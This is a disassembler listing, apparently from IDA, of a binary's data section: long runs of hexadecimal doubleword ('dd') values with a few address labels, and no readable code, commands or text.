		dd 54422DC1h, 0D2466116h, 0C9BC7A99h, 77A449F6h, 0BBCD84D3h
		dd 670C8E4Eh, 695AAEC5h, 3A9FCACEh, 56FE76F9h, 75A3DD82h
		dd 0C7DD0C58h, 0F4B788A1h, 3E461211h, 2E3E33Fh,	5FFDF643h
		dd 0D76CA869h, 3EFA3FC9h, 0AF95E2E3h, 0C6B3F9A1h, 36AC2EB8h
		dd 0BEEEE5F3h, 0B74F275Fh, 5A7E96FFh, 52875471h, 96882E6Fh
		dd 57D9C1C7h, 0E33CDF05h, 6E45AE94h, 75D42443h,	965F7C8Dh
		dd 4284393Bh, 0A6FB142Ch, 4DE76F13h, 8150C13Eh,	748C5DEEh
		dd 0B7C2AB4Eh, 633D082Eh, 0D94384CDh, 0D3CDEBD4h, 3C48C606h
		dd 0DBDA5101h, 2850281Eh, 8D4444DFh, 2C2A5154h,	484C66CBh
		dd 0C94E5131h, 3C5B4FFFh, 554504B7h, 0E26F7F25h, 15136396h
		dd 8B4ED458h, 49AC4B8Fh, 25517132h, 926B4F3Dh, 4604E952h
		dd 8B679464h, 4F1C969Fh, 3851A136h, 0BD5C662Dh,	46C4B2E7h
		dd 3597751Ch, 12EB0295h, 0D65474B4h, 0DE42FF7Bh, 76AB0974h
		dd 0A5753F74h, 1DEA8F89h, 0B5A9C470h, 6A4026AFh, 0BF66F729h
		dd 8910996h, 0D25AA442h, 4FE43FB3h, 0AA462792h,	1DEFDF29h
		dd 209C2C7Eh, 0A27AA4A2h, 0EA42B26h, 0A4C25BF0h, 5033CA4Eh
		dd 25C2DD0Eh, 8529409Fh, 0C97F4A8Ch, 0A52249B9h, 24EB8A54h
		dd 27B655C4h, 0AD29589Dh, 0FD9E573Ah, 0A58277ACh, 7AFC5A96h
		dd 89A8D95Dh, 0E78A5C27h, 9B5DEDA3h, 0A97893B9h, 0AE0A28A6h
		dd 259207Fh, 1A629884h,	0C2037A94h, 50B794BBh, 32990647h
		dd 2FF8E829h, 98930DF5h, 520CA682h, 462A5EFEh, 0B29A86A6h
		dd 204E3765h, 0AAC920CAh, 6C12A905h, 0C6AEA6E2h, 6E3A3BB9h
		dd 929C09C8h, 0E8748E29h, 0C8953D5Dh, 6A2A742h,	667D78EEh
		dd 0FA9D89A8h, 299BF0A9h, 0E0963AD7h, 278AA7A2h, 72F1541Fh
		dd 1A9F0973h, 2F63BBA9h, 0F89A3DC6h, 0CBACB002h, 7F0C7BEBh
		dd 0AB022582h, 5F17A1ACh, 10972D5Fh, 0C342B062h, 7B272B2Ah
		dd 8B0824A2h, 3D6391ACh, 289E9F5Fh, 784A1618h, 0A2B79E36h
		dd 0C961C495h, 0D4EE5E35h, 88133961h, 937AB9D3h, 0E93F2A0Fh
		dd 0C2E04878h, 0FB8C3746h, 3DEBF073h, 7AD7DED7h, 0AAF06EDDh
		dd 0EEBFD3CDh, 7D7756F8h, 0BDCB5567h, 0F841B4CAh, 2B1A2E2Dh
		dd 0F6C70AD7h, 4343C208h, 767F118Dh, 0D1E39139h, 0AC2EE263h
		dd 97D3F23h, 0FADDFB72h, 8C9C938Fh, 40BDEAF9h, 532DE6FBh
		dd 93158515h, 0CF4F2990h, 0D8867389h, 678ED0F6h, 0D429F72Fh
		dd 7DD4E2D3h, 2557EB2Fh, 0F3392952h, 44F67EBAh,	0D3AD5DBFh
		dd 975F8BD6h, 28F4AC64h, 66896CECh, 67A0BC1Ah, 0EE7777CBh
		dd 83F56F93h, 6954A735h, 628BF76Eh, 130AD406h, 0B3919C94h
		dd 877DFB1Eh, 0C97C5663h, 0BE07FECh, 0F2699948h, 89BAC5A3h
		dd 0F4ADA63h, 0B4F8FFCDh, 921B2E86h, 76F494FFh,	0D6FA3B48h
		dd 0DAD1C8B0h, 0ABFBD08h, 0E4EF3E6Ah, 8494EF4Fh, 0CAC22A14h
		dd 52BFC653h, 0FCA8597Ch, 66D1DAFAh, 0A185D1C1h, 79B5AA86h
		dd 947ED93Eh, 95AA1C56h, 0BDED07F6h, 0A8795E64h, 37E89AA2h
		dd 4B402BFh, 0FD725789h, 4AA519D8h, 1274DF9Dh, 0E225AA86h
		dd 97BF074Fh, 0DF8305F2h, 4834AF81h, 10794B6Ch,	0A84C4086h
		dd 836355A4h, 0E773B474h, 42C8EC4h, 25D6E0AFh, 0C7A038D3h
		dd 6DF7A559h, 68392F7Eh, 0BCA894C1h, 882AC792h,	0FD0F0BA2h
		dd 0BF174EDEh, 8C0E546Bh, 0AEE06D3h, 0B7794C2Ch, 0EF4BB2BEh
		dd 754C3931h, 0C23F03E0h, 485E45E0h, 0DAEE1902h, 404CC5A0h
		dd 3515F99Eh, 5938BE9h,	0AC352411h, 54BA14BCh, 201F4C48h
		dd 1A03E2AAh, 130EA0D0h, 0BB8FD944h, 0B95BDF4Eh, 86674C6Eh
		dd 0B4AAB597h, 30C0AF91h, 88031781h, 44BADD03h,	5956009Ah
		dd 31461603h, 6415A74Dh, 838D80A9h, 55A95318h, 5167EC92h
		dd 934EA2D5h, 19600C1Ch, 761A8047h, 0AD882AECh,	9883A4ECh
		dd 0A9826059h, 46F00648h, 0CF71A0E1h, 48A0D4A8h, 8AB78217h
		dd 2953A198h, 0A4D42A85h, 29F4E55Ah, 9B0C50DFh,	840B9368h
		dd 8BA08A95h, 0C5D0C4BFh, 536917A5h, 7A11C054h,	57832A9Bh
		dd 0A9908BFCh, 41CCA8EEh, 288C1130h, 0D8BA8F1h,	11578C16h
		dd 6F14295Bh, 0A1D42AA0h, 4AA39178h, 3AA02C4h, 9536D17Ah
		dd 0AE82E54Ah, 826510B2h, 8FA00B02h, 2BECF097h,	2BC86B01h
		dd 0C8E0304Ch, 0BB7E4C17h, 32B0A4B1h, 69611452h, 245D40E8h
		dd 0D5F246Bh, 23039684h, 0CB6D75A2h, 12159050h,	70B72C3Eh
		dd 132B5FB4h, 0DC0A5D0Ch, 2880D359h, 82AB2693h,	22B34969h
		dd 0A9B95B21h, 6287CF4Ch, 0CB4E4CCDh, 8916B292h, 3B663335h
		dd 2962B0CCh, 26E78289h, 90486D72h, 0BF2F9736h,	0A32C2D59h
		dd 89010B41h, 8281685Fh, 0D40401Ch, 0C5D94AB4h,	0A8168B13h
		dd 85824AD8h, 4846DA5h,	55FB51AEh, 0E038FCF4h, 29405881h
		dd 56D6082Ah, 0E3316957h, 0B462AAF2h, 0EB115F0Fh, 651A4B5Dh
		dd 0A6C20E36h, 803150F8h, 558662E1h, 260382Eh, 2E1E0797h
		dd 6506B1BAh, 0C5228AC8h, 62C56D11h, 1A83AAFh, 2F4042B5h
		dd 3E070DC4h, 0B0D15BD8h, 4B014C40h, 2C4AA9CBh,	9099300h
		dd 64020BE4h, 0C8EB2541h, 6D771047h, 25101498h,	21187101h
		dd 0CF31363h, 6004059h,	0CB8462CCh, 0A3B7B77h, 23167308h
		dd 3306236Eh, 4D911C22h, 0C1006959h, 0D7E4F03Eh, 2F00207Eh
		dd 0EAA1A358h, 0AD261550h, 0F12CD753h, 16B5D630h, 603C50C8h
		dd 0B38C18D0h, 282FDA9h, 5D15EA82h, 0DD697706h,	584D2CECh
		dd 0C68C1801h, 0DB5551Dh, 32D6F051h, 65608040h,	0C461A5C1h
		dd 2A28EE4Bh, 80842300h, 481C4594h, 0A889AEB5h,	462A9300h
		dd 0D05C8129h, 438AEA4Dh, 82205002h, 8B683819h,	0B5891DC0h
		dd 0BBAA7E35h, 0AADF6807h, 0E1C0B4B0h, 0C16232DAh, 98EA160Ah
		dd 28304002h, 0E1528119h, 62324D56h, 8088AACEh,	22EB7200h
		dd 0D874B1B5h, 841174B3h, 80897E88h, 40217510h,	1018AD6Ch
		dd 102BDC70h, 112BD931h, 112CB6A9h, 0A4B018AEh,	0C7701111h
		dd 2778225h, 18034C18h,	0A0112949h, 388D398Fh, 306229A0h
		dd 0CEAD788Bh, 5262AD1Ah, 82AB36h, 0E8BB66h, 4AD6B58h
		dd 465115C3h, 65A50BAh,	0AC89CBB1h, 62010AEDh, 0DB8FB1DEh
		dd 11527B19h, 0C054262Eh, 0B780211Ah, 3461102h,	42DAF00Ah
		dd 5B950E32h, 0CEBE9EF3h, 868803E4h, 5401A68Ch,	114CD38Ah
		dd 274C5389h, 222AF4FAh, 87D83398h, 63989398h, 22610986h
		dd 26208045h, 5E388242h, 0E177B211h, 5B738089h,	89100C81h
		dd 0B48B828Fh, 30624C52h
		dd 385EDA02h, 4A444066h, 0AC8739DAh, 1460C514h,	840B30E2h
		dd 86952D11h, 883810CDh, 0B8CC1936h, 0EA7C3039h, 810D5D76h
		dd 0DD29D549h, 0A379B3CCh, 557174D7h, 0AD370B1Ch, 918310E0h
		dd 1A594B58h, 8372EEA7h, 2E7229F3h, 2A5DC22Dh, 0D380C4AFh
		dd 15AA3EFEh, 0DDE1C409h, 9412BA63h, 15EB8E72h,	6239FF44h
		dd 4255E5A2h, 0D22C0B95h, 8F7AE04Ch, 105CEC76h,	0E9758ACEh
		dd 39153336h, 156E0477h, 4FE6A2ACh, 0F829FC5Ah,	6E83CB2Ah
		dd 2A016465h, 0AD4915B1h, 8D8C8Bh, 164BB58Dh, 455FC016h
		dd 75975973h, 8DA83765h, 8CA7F2BAh, 0F4BC080h, 82400A35h
		dd 70054BA0h, 0E21F3404h, 77803305h, 30483C01h,	4457CE45h
		dd 18345D8Fh, 143CCE08h, 0ADA68D44h, 175CF243h,	4CE8C163h
		dd 53A1D39Bh, 219795C6h, 2C9DD18Ch, 2A054C4Ch, 8068A351h
		dd 7050C034h, 0D44D6B75h, 0A8D0396Eh, 611261FEh, 8E9D6AC8h
		dd 754938Ah, 58CACE9Bh,	0F940285Dh, 2E387D6Ch, 80673B35h
		dd 44B0AD8Ah, 5B81BC1Ch, 97BBD81Eh, 40C576FFh, 6031C7E8h
		dd 9DF370D3h, 80844B50h, 554727BCh, 13F43014h, 0F02AA43Ah
		dd 327B9689h, 85088948h, 0C9577EA8h, 46015361h,	5A050924h
		dd 5CAA2D02h, 4A680834h, 11AE30h, 0C4124EF8h, 0F1DFF005h
		dd 226A240h, 0E2CA5698h, 0F318714Bh, 0C32A7079h, 62194398h
		dd 54BA080h, 0E91A03EDh, 0A25C047Ah, 0E88FDA46h, 507AA814h
		dd 3F0614E8h, 180B4601h, 2205594h, 1C0A2813h, 287DF04Fh
		dd 0A1130428h, 1184F2A0h, 95813E0Ah, 26505463h,	0C5001942h
		dd 0C4BC3323h, 0D384B491h, 850B3CDAh, 20EF185h,	20825181h
		dd 0D348CB8Fh, 4C27C87Bh, 230A2479h, 0FC041844h, 65AA1C09h
		dd 25121D3Dh, 9184F34Bh, 0E7010D57h, 0A2171FF4h, 0CE42E259h
		dd 29010CA6h, 310A9F6Dh, 0B725894h, 0B58973D2h,	0FA2519EEh
		dd 214B4B00h, 54ABEA64h, 2B002D2Fh, 0B7412322h,	7D4A401Eh
		dd 0AF05E84Bh, 4E3A31D2h, 4AF5F404h, 6DA050C0h,	0D2E2010Ch
		dd 62400213h, 42AA3438h, 0D79A4A12h, 0EB068FF9h, 842E8304h
		dd 5FE4EE6Fh, 29940610h, 4EA3103Ch, 47A49F98h, 0DEBA7E7Bh
		dd 0FB09F9D8h, 0ED27E7F3h, 0B69F97AEh, 0E27E7BFCh, 49E6011Eh
		dd 0BCF981C2h, 0FA54AA34h, 0FC086A65h, 4AB243B4h, 67DE9E73h
		dd 1881ED5Fh, 0C9B23FBEh, 0A9F9F2FBh, 0A79D84FBh, 3FF969C7h
		dd 35675AA3h, 739C699Ah, 3722322Ah, 0B106B49h, 2469E741h
		dd 3EC84A13h, 0CC623DDDh, 96038784h, 0AB206E5Eh, 25D41512h
		dd 3DA47307h, 0F49C53DFh, 2F3AC90Eh, 0DF1A3334h, 6E45EAC9h
		dd 9D9AA810h, 78CA9551h, 61DB8012h, 3C901156h, 4A7B4157h
		dd 0A0B878A3h, 423908Fh, 97F239h, 4272C120h, 494323AFh
		dd 183470C9h, 972C1D19h, 0E1368B7Ch, 7D58A0A3h,	520086A2h
		dd 54AA920Eh, 0DBFAD030h, 70CA9558h, 635AB15Bh,	70AE156h
		dd 20314FEDh, 90DCC8EAh, 0A343760Ch, 0BC28B3DAh, 9368690Ch
		dd 4A316065h, 87C9A585h, 9C15620h, 7CC22588h, 2AA646E5h
		dd 6ADC0E17h, 12AD71BDh, 6F42D855h, 608FC885h, 0C54E0FCDh
		dd 95DD6C8Dh, 6E15E81Ch, 3BC556E8h, 0F6ACDF13h,	0F37D7D4Fh
		dd 380C40F6h, 0AB00C81Bh, 996C0B70h, 7E5DB10Dh,	41F9ACC7h
		dd 0A79C84FAh, 0E59170A1h, 6D4E4137h, 2A592522h, 372F7A14h
		dd 32E54AAEh, 7828AC71h, 0F4AE4140h, 5E5C5187h,	34A1A765h
		dd 2B4B2E2Eh, 55FA1405h, 69C4FE47h, 0D3CDBC71h,	8D0A8481h
		dd 0D0D1663Ch, 0D31D22A0h, 2D809706h, 38E87276h, 3127141Fh
		dd 97161798h, 21480B93h, 1E39E8F5h, 0B2427D84h,	16FD481Ah
		dd 131556E0h, 0C0D2F848h, 17B93612h, 390BC10Dh,	45A8290h
		dd 38F0D109h, 0BC10ACDh, 89A45CEh, 472B9214h, 0DC0B2E3Ah
		dd 3D884FEFh, 523DB44Fh, 0E87F711Ch, 0F027F4F9h, 1E861A4Fh
		dd 0CB9A3D38h, 34BD81ECh, 0C03BEBAEh, 11220000h, 5000h
		dd offset off_423000
		dd 3000434Ah, 0
		dd 3FD40000h, 257C20E6h, 0D21220h, 9AB5F1A0h, 74AFE9F9h
		dd 14B9BEEBh, 0D67B95B3h, 0E676586Dh, 91142D02h, 152EC854h
		dd 8596598Ch, 0B759979Bh, 4A0EBF69h, 0A408ADE1h, 35304C02h
		dd 79A8047Bh, 8C6750A7h, 22C01BBDh, 104D7F44h, 240C2FADh
		dd 45356620h, 0D8AC02ECh, 2D9A76B0h, 0B4DA764Bh, 0CB6DCF68h
		dd 70B8AD76h, 0BF2EBADFh, 0BDE2DC94h, 4CA0B76Bh, 744AF37Ah
		dd 8F48D0A8h, 0A9742D1Ah, 3A9FA4D2h, 0D4AACA6Dh, 0AD5A50A8h
		dd 0ACD6754Ah, 0EAEAF58h, 2AAA88B0h, 0ABE1CB02h, 30A12C17h
		dd 0C0A006E1h, 240D1180h, 0AF2908Dh, 9DA60B06h,	68744E42h
		dd 1CFFEFA6h, 8940A998h, 8F83F8h, 3C1DBF60h, 9A995018h
		dd 1FF21F68h, 822DBA98h, 2BD46501h, 0B25CAB18h,	909C14EDh
		dd 94AFFD17h, 6D35688Fh, 0D081A09Dh, 0A029A40h,	0F1315D46h
		dd 95B53DAAh, 22E780AFh, 0DEF01399h, 98DF4FB1h,	9A7B7E50h
		dd 4D7F98E8h, 86C4E824h, 4607C012h, 4D681405h, 0BAD07ECCh
		dd 5E8C4C20h, 932616ACh, 0D8374FD8h, 109C1ED6h,	0AC4F1F10h
		dd 40207CD0h, 44A8183h,	0FD802184h, 8B2B7627h, 9406052h
		dd 82251C60h, 0A94D822h, 3250184Ah, 0E9433528h,	274294A0h
		dd 4C391284h, 0E8B353A1h, 450F42D1h, 20C21E40h,	2893658Ah
		dd 0C5219445h, 0B0850240h, 0A1A74E9Ah, 0D2A9414Eh, 53605418h
		dd 0CC1530C5h, 2B638AAEh, 0D4A4659Fh, 128E0C56h, 6ACE095Ch
		dd 85802572h, 0C0B08331h, 620B6B4Eh, 84644582h,	94A5069Dh
		dd 85A8B22h, 0ED232CF3h, 74ED1690h, 7739385Ah, 0BA74BB50h
		dd 0A066882Eh, 0A2CC620Eh, 4F982868h, 62079A19h, 7D0C6174h
		dd 0FF8A4630h, 0A008ADE8h, 8A7FC9DBh, 0ABDBF83Ch, 913A1D02h
		dd 19F30D3Ah, 4300031h,	62F39458h, 26D124Ch, 0BB3900BDh
		dd 0DD4F4FE5h, 8538055h, 39F9FA58h, 5417147Eh, 8046C3Dh
		dd 0AB093B13h, 3D23094h, 0F4CA0777h, 452B656Ah,	24A8010Ch
		dd 0D28A2251h, 4BB90944h, 32962518h, 0D257E842h, 6951D128h
		dd 2455C4A3h, 5FCF128Eh, 0F4B328F2h, 12B03A11h,	4AD10948h
		dd 44972521h, 85E1E642h, 579423CAh, 5E922DA2h, 0FC4BB489h
		dd 5608CA25h, 3CB4A903h, 35561AA1h, 0EF41528h, 81A780B0h
		dd 9FC6093Eh, 56F0114Eh, 0B614D820h, 63043810h,	23D8A3A0h
		dd 9D84ECBh, 1E8FD4A1h,	0EC8AE47Bh, 47B26411h, 0D713D92h
		dd 0AD268F4h, 0A4AA032Fh, 0A7C318F7h, 0D92644Ah, 0BC58D62Bh
		dd 2E96BF65h, 0B956CA5Ch, 0CE8A9B7Dh, 42C129C5h, 0B80265EFh
		dd 0AA89F542h, 0A6253584h, 80945412h, 8252484Ah, 944E129h
		dd 244544A3h, 0D10F1282h, 12F82FE7h, 4BD0C245h,	2F0225ECh
		dd 0BB099791h, 0E6255DC4h, 70967512h, 2D42C04Bh, 0B309C18Ch
		dd 0C2255A04h, 0D8956312h, 2255784Ah, 894EA12Bh, 0C11584A8h
		dd 5E9C1284h, 7E4B2816h, 0E2C8A5CBh, 97F6D785h,	0BB21C09Fh
		dd 2A760197h, 0D3501297h, 5660790Eh, 41725811h,	28F61490h
		dd 2177192h, 1732524Ch,	45005CC2h, 0ECA0AC20h, 84614609h
		dd 906FAC18h, 33F8065Ch, 6EEC7ADh, 0C06E65C8h, 201B7F5Ch
		dd 30E4A197h, 30D9804h,	430BE01h, 865E4BD0h, 2040F4B9h
		dd 0DE19006Eh, 0B61EC152h, 1B587321h, 86D4B782h, 312E65CCh
		dd 0B4B7010Ch, 52DA2250h, 638945h, 881B7F5Eh, 79213EB7h
		dd 5E3859FDh, 10C5B486h, 25176CE0h, 65E092CAh, 10C4B18h
		dd 225286C4h, 9498D2Ch,	252644B0h, 65E052BCh, 5FD34AD8h
		dd 0C3D90EF8h, 0AE323F0Eh, 6084EFBFh, 1478F980h, 260C8851h
		dd 0C0DA5814h, 87C31840h, 240EE0C1h, 9D51E3FFh,	0D2A1D50Ah
		dd 0F73CD8Fh, 58A04464h, 5DBCE140h, 31E69850h, 3C941953h
		dd 0D3900C52h, 4B6AED2Ah, 44BE1997h, 6028023Dh,	0A7256944h
		dd 0C6994C12h, 78CB6D2Ah, 0CA43A76h, 3D34BBC4h,	4402C002h
		dd 234BE49h, 8557865Eh,	7E6CD4ADh, 3CF9C16h, 7F88AB4h
		dd 57638D34h, 34A20813h, 69CC0CA0h, 0C61D40D4h,	40950850h
		dd 74D08E32h, 6265FDB6h, 560C4097h, 2116B910h, 8622CFD4h
		dd 1C3D359Ch, 7D22D50Eh, 32D1692h, 229248A6h, 0FA32988Bh
		dd 0DFF20DE6h, 0E9A29904h, 0DBCC6378h, 0E1742687h, 641FE71Ch
		dd 0D6E1E9C7h, 6B780CF6h, 49DE2BD4h, 0FB25B9DBh, 0B1D48577h
		dd 0AF06F2C6h, 96EBF8CFh, 70E876E3h, 53AFE568h,	0FCEF2E36h
		dd 4F6ECF1Dh, 8F29F414h, 9D390625h, 0E9B982DCh,	4C7E3CEAh
		dd 876DFFFAh, 633F01Eh,	0E4D1FC6Fh, 3D45D380h, 85B5F759h
		dd 0F39C0779h, 0E1E0D564h, 8EF76FDEh, 0EFCEBE50h, 0EBBF71DDh
		dd 343D77F7h, 0EDE36AAAh, 0A5320F9Ah, 64DE67Ch,	4422FC26h
		dd 0C6B84494h, 8BC4FAAFh, 0F5E9B78Fh, 3FB9FD1Dh, 2AF5FA9Fh
		dd 0D16C6F0Dh, 3E4695E7h, 0D768BCCEh, 3D1D1DA6h, 7A2F233Eh
		dd 0E0701A1Ah, 0DC9A0CBAh, 0B142C52Eh, 0F2734536h, 0D771F269h
		dd 0D4CF99DCh, 0D767B2F6h, 87B11BF2h, 956BBC52h, 4DF079ECh
		dd 3815FE63h, 326FD0C8h, 0FF714D2Eh, 7D8961E8h,	13F975A2h
		dd 0F5592D77h, 0CE4FEDD9h, 720F5FC7h, 16EABFD1h, 37977770h
		dd 0A0556727h, 124B9062h, 0B4E62B07h, 2180756Fh, 0FEE3F300h
		dd 75F44FDCh, 16FC3D85h, 59277700h, 7E371DADh, 89607DFAh
		dd 787D2F6Eh, 9633FEA7h, 45F63965h, 89DEE2ACh, 4784FD1Fh
		dd 0C9EB843Eh, 7F71A3C6h, 9B6D38BAh, 6BE0DA06h,	0BE1B69B6h
		dd 673DBBD9h, 0AF5ED676h, 537FDE50h, 9DE15EAEh,	73ACD6F3h
		dd 8DDF7F49h, 0F21D3848h, 2B7E99ABh, 137D97D3h,	0F9B91A6Fh
		dd 466A94CAh, 0AD132772h, 3F9A73BBh, 0EF599B14h, 49CDD79Dh
		dd 1ED8F759h, 1D92175Bh, 0DE2DF3CCh, 773148F8h,	0EF47E6EAh
		dd 6B3CB0E2h, 0C6A74AD5h, 6EEB1BF6h, 0FEE97C89h, 0DBEE77Ah
		dd 62BF7E36h, 4813C961h, 6725BA20h, 0ABFED2FAh,	6EFB24FEh
		dd 0F937A254h, 0E51BACD0h, 0AACF964Bh, 0B837A1DDh, 54BBAC77h
		dd 0F91C3247h, 0A7EAE0FFh, 0BD580CF4h, 398F7519h, 3C90E4B4h
		dd 338C0359h, 2FB8E27Ah, 0EBCE151Fh, 8AC423FDh,	0B1F4FB98h
		dd 0DA682237h, 361278F0h, 83ED19DEh, 59BF8B42h,	3A99B337h
		dd 9D296E5Dh, 97BADC63h, 0AD4E1999h, 7DF79390h,	0DAD274D8h
		dd 0E8B602AFh, 15A3E08Ch, 0D3D4B32Fh, 4ACE6511h, 2C92B3F4h
		dd 92D9DE21h, 9F53D27Ch, 0AD67B4D2h, 9826D773h,	0DEE131F5h
		dd 7E8E9381h, 3DE75F7Fh, 0AAF9347Bh, 0FEA1C456h, 462919E6h
		dd 2D8B8391h, 1FAFD4BBh, 2FB1FA67h, 0EF678365h,	2E4410B8h
		dd 0A6ECF9DDh, 0ED0713BBh, 0E72E4297h, 0EC11A894h, 74023DB0h
		dd 0BC475BF2h, 151B2C57h, 558616C1h, 75322F40h,	0B9861180h
		dd 15CCEB9Bh, 0AD28D0D0h, 1F2007D9h, 28C0C42h, 92428525h
		dd 0BF273DF7h, 9F4C314Dh, 492CA5D9h, 0C04FDF3h,	0F44A7E86h
		dd 5C1AAB92h, 8F54092Fh, 98E01B10h, 3F5C2DA4h, 0E5C4230Ah
		dd 4FFFAFCBh, 2A21703Ch, 5284BC99h, 0E7C11F84h,	0A0AC4654h
		dd 0F602E873h, 86C4090h, 0E4120F18h, 42858F12h,	1C31069h
		dd 3B80B7A7h, 259C9010h, 979111D4h, 58444B28h, 5C122C82h
		dd 5C4AAF09h, 512FB225h, 0A80B095h, 460435h, 0F12910D3h
		dd 0C4A48894h, 4A10A252h, 0BF110914h, 97A9114h,	25D8343Eh
		dd 972112F0h, 5B844BA0h, 69122E02h, 944BB609h, 71A1CE25h
		dd 6F801897h, 4AD81008h, 2B222374h, 0A98995A1h,	9C255584h
		dd 48945012h, 0C2502C4Ah, 897F8128h, 7D12C4A0h,	0E44B2248h
		dd 612EF625h, 4B9B897h
		dd 12E2A25Dh, 4B708972h, 2D4225C0h, 0B30996C1h,	0C6255A04h
		dd 0C26412h, 2BA2884Bh,	0AD0995E1h, 0AC2556C4h,	90CA5812h
		dd 29C2504Ah, 0A4899501h, 88255304h, 0F9114612h, 23E044Bh
		dd 97943E8h, 25D4C4BDh,	970112EEh, 5A444B98h, 65122D82h
		dd 784AB389h, 712AC425h, 44A9E095h, 2288C255h, 86688976h
		dd 84A45200h, 128A0232h, 4A080947h, 2087250Ch, 825E97F2h
		dd 8977E12Fh, 25CCC4BCh, 970012EAh, 99B44B88h, 6008AA8Bh
		dd 0CE24021Dh, 9347E912h, 46AE00CEh, 8C100280h,	142EB937h
		dd 4A908EDBh, 9D080710h, 6AE7E861h, 31A4B132h, 0EA14E2C0h
		dd 0CE81E16Ah, 7BA9DABEh, 0DE829DB3h, 4141FD5Fh, 8C57ECBDh
		dd 0C9882BB8h, 1082AE39h, 8522E7FDh, 1A3C32B8h,	3142C0AEh
		dd 932A1038h, 2172BFC1h, 38ADE659h, 115121C2h, 7EA2F8A0h
		dd 3E2612CAh, 25726D98h, 5BB7E304h, 884084C0h, 0E984FC9Fh
		dd 0EEE06524h, 2707FC24h, 49E64938h, 134927D2h,	6322C598h
		dd 89DD9F27h, 4ADEECFBh, 1422249Fh, 0B30F02D7h,	0C4B98455h
		dd 0E2D75FFBh, 0A3C0D730h, 0A98B348Ah, 0A5D0C76h, 881FBACFh
		dd 62ED26B7h, 80C4D6ACh, 75A52001h, 687EA4D0h, 289CBB73h
		dd 908EFA29h, 1B037CAEh, 3D7E0F2Eh, 7EEBED50h, 62C9F9DFh
		dd 776CE7AFh, 94B0C90Fh, 205AC5E1h, 0B717248Eh,	0B95B084Ch
		dd 0FB748775h, 5C912DB6h, 0EAB9BAC8h, 65281A1Ch, 38167835h
		dd 2604C76h, 8B2C481Dh,	8E66A19h, 211E0197h, 0A4DB407h
		dd 2F80B848h, 0CAEF31A5h, 0E877313Ch, 845EF1D4h, 6620B3D1h
		dd 92490E30h, 86568525h, 9B46E19Eh, 0F45A1BFh, 7175A5F7h
		dd 0F31BBC15h, 34214927h, 5FD652DDh, 3A575324h,	0CC6270A8h
		dd 836C77EDh, 2437A1DEh, 778262D6h, 0A002FEFEh,	0D0CC1E8h
		dd 0A09E6D48h, 3961F5D7h, 0C07C0290h, 2A312300h, 0E493FB2Eh
		dd 28386003h, 289893Ah,	9D8E5582h, 77D984D3h, 0B49A3460h
		dd 8F424B45h, 53509DFEh, 51745340h, 5EC85744h, 3BFF80FFh
		dd 17F47FDh, 0A9AF2FF8h, 0E2C0FF4Fh, 9F9F917Fh,	0EAF5FEEh
		dd 0B7D3292Fh, 0E06B7C48h, 321DC64Bh, 0BD06ECB0h, 3D24F17Eh
		dd 2AD7CD7Dh, 8EC3C8DBh, 0DA0B2ACDh, 5AE844A9h,	327A12B7h
		dd 9727B66Ah, 17BFA6C8h, 269B8E4Dh, 0FA979E8Dh,	0D4FEC5F0h
		dd 3EE8D298h, 79E9FF26h, 77D1B4BBh, 0FE9E4DF3h,	64F5F4FFh
		dd 59805DF9h, 41031432h, 7E057B8h, 6C4BA264h, 1E3282FAh
		dd 4B05F97Eh, 217A9E43h, 862E7BE4h, 4BA7D315h, 0FA9ABE87h
		dd 2A0E974h, 49A3925Ah,	0D1194057h, 33A3FD7h, 0A13E2664h
		dd 96941A6Eh, 101A9FEh,	7A05A816h, 7E9E5245h, 4B483A9Dh
		dd 2D29A746h, 0E3BA049Ah, 4C692E91h, 0EB9C0D08h, 0C6908B92h
		dd 415D2E7Ch, 1FE8E96Dh, 82CA107Ah, 8200120Fh, 0A0605887h
		dd 1E264909h, 8038D020h, 14D05C99h, 2C070E00h, 68BA0820h
		dd 303240B4h, 0ADEAE640h, 59000B3Ch, 58ACB9A8h,	0D06A5390h
		dd 40EB93h, 2C20560Dh, 0A6CAE812h, 1253753Ah, 482CAC9Eh
		dd 0A93FF858h, 3A0B161h, 0D16D008h, 4181E074h, 34410196h
		dd 0E75C9024h, 34D03050h, 43A091D0h, 684C1E06h,	2874AB1h
		dd 4063B896h, 1A814C16h, 0A659A810h, 20871C25h,	0C6833E32h
		dd 49A44989h, 5C5AAEB2h, 90300040h, 0B361412h, 77FBD174h
		dd 0D01302AFh, 1C221D2Eh, 431DF07Ah, 370748DCh,	0EB264E1Ah
		dd 0BB4CB1DFh, 0BEF17793h, 37705A9Dh, 0A899BEFAh, 71CFD757h
		dd 0CAB7C3ECh, 8A9B70BAh, 0C00B8694h, 0D4E9E226h, 91142FFFh
		dd 3E73B42Bh, 0A7574AEh, 4CA6B431h, 4BA65241h, 54609498h
		dd 0CA1D3325h, 5A8B4A21h, 60062E8Ch, 428E4E26h,	82C04A12h
		dd 4145884Ah, 0A2515846h, 0A480A593h, 28C08A12h, 0DA23C30Ch
		dd 42254849h, 0A1AE4A43h, 75A4CD37h, 0B9DCD1CCh, 4AA1D47Fh
		dd 0D50985A5h, 0BB3091A0h, 8A06520Bh, 2D4A68C0h, 9A96CE00h
		dd 59E88191h, 1D555F95h, 0F1F64475h, 0B37EA83Dh, 8DAB40A3h
		dd 0F1ED0F16h, 0CFD4BCD8h, 27EF09FBh, 0F8AB4A34h, 23BE6A35h
		dd 13F7EF26h, 6A4EFA42h, 0FD9BA859h, 0C9FB7E95h, 856AFD7Ah
		dd 0E4D9DEB8h, 0D4FD9533h, 1669B737h, 0E44AEF4Eh, 0A7EF12ECh
		dd 764C5049h, 60AE4CFBh, 467F5D0Eh, 9C171A0Ah, 5713A408h
		dd 1DDCD1F9h, 7F89DE60h, 596D6844h, 0A5A21EB6h,	0E44AD67Bh
		dd 7D93BE5Eh, 16B7DE4Dh, 36363988h, 8816D9EDh, 3E7F1F71h
		dd 296C7F98h, 1AFBA03Eh, 0C02E108Bh, 440052FCh,	0BAF8h
		dd 0
		db 2 dup(0)
		dd offset dword_436000
		dw 434Ah
		dd 1000h, 0
		dd 20F32C10h, 32289FF4h, 0A78063B4h, 1184585h, 8533D094h
		dd 11842601h, 0D2D765B9h, 5B8A5B26h, 73297590h,	0B1261228h
		dd 0F65BA536h, 0DE7EEA7Ch, 0C522C36Eh, 542F414h, 4A65BCE9h
		dd 0C2B69B15h, 0C8B93BCDh, 5892A81h, 0CB7D8CEDh, 90917377h
		dd 324C7051h, 6F169057h, 6114AB5Ah, 4F5D2EB6h, 1B650458h
		dd 141843Ah, 8C190485h,	29A52280h, 23704B08h, 96512D22h
